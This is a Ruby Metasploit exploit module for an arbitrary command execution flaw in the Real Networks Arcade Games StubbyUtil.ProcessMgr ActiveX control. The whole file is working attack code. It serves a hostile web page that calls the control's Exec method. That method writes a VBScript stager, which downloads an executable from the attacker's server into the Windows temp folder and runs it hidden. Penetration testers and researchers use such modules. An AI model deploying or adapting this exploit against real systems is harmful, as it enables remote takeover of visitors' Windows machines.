111 lines
3.6 KiB
Ruby
111 lines
3.6 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution',
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'Description' => %q{
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This module exploits a vulnerability in Real Networks Acrade Game's ActiveX control. The "exec"
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function found in InstallerDlg.dll (v2.6.0.445) allows remote attackers to run arbitrary commands
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on the victim machine.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'rgod', #Initial discovery, poc
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'sinn3r', #msf
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],
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'References' =>
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[
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[ 'OSVDB', '71559' ],
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[ 'EDB', '17105' ]
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],
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows Universal', {} ],
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],
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'DisclosureDate' => 'Apr 3 2011',
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'DefaultTarget' => 0))
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end
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# Unfortunately if we echo the vbs cmdstager too many times, we tend to have random missing lines in
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# either the payload or the vbs script. To avoid this problem, I ended up writing this custom routine
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# that only uses one echo.
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def build_vbs(url, payload_name, stager_name)
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name_xmlhttp = rand_text_alpha(2)
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name_adodb = rand_text_alpha(2)
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tmp = "#{@temp_folder}/#{stager_name}"
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vbs = "echo Set #{name_xmlhttp} = CreateObject(\"\"Microsoft.XMLHTTP\"\") "
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vbs << ": #{name_xmlhttp}.open \"\"GET\"\",\"\"http://#{url}\"\",False : #{name_xmlhttp}.send"
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vbs << ": Set #{name_adodb} = CreateObject(\"\"ADODB.Stream\"\") "
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vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
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vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
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vbs << ": #{name_adodb}.SaveToFile \"\"#{@temp_folder}/#{payload_name}.exe\"\",2 "
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vbs << ": CreateObject(\"\"WScript.Shell\"\").Run \"\"#{@temp_folder}/#{payload_name}.exe\"\",0 >> #{tmp}"
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return vbs
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end
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def exploit
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@payload_name = rand_text_alpha(4)
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@temp_folder = "C:/Windows/Temp"
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super
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end
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def on_request_uri(cli, request)
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if request.uri =~ /\.exe/
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print_status("Sending payload EXE")
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return if ((p=regenerate_payload(cli)) == nil)
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data = generate_payload_exe( {:code=>p.encoded} )
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send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
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return
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end
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# Payload's URL
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payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
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payload_src << ":#{datastore['SRVPORT']}#{get_resource}/#{@payload_name}.exe"
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# Create the stager (download + execute payload)
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stager_name = rand_text_alpha(6) + ".vbs"
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stager = build_vbs(payload_src, @payload_name, stager_name)
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html_obj_name = rand_text_alpha(6)
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html = <<-EOS
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<html>
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<object classid='clsid:5818813E-D53D-47A5-ABBB-37E2A07056B5' id='#{html_obj_name}' />
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</object>
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<script language='vbscript'>
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#{html_obj_name}.Exec "cmd","/c #{stager}",1,1,""
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setTimeout "x=1", 3000
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#{html_obj_name}.Exec "cmd","/c start #{@temp_folder}/#{stager_name}",1,1,""
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</script>
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</html>
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EOS
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# Remove extra tabs
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html = html.gsub(/^ {4}/, "")
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print_status("Sending #{self.name}")
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send_response(cli, html, { 'Content-Type' => 'text/html' })
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end
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end
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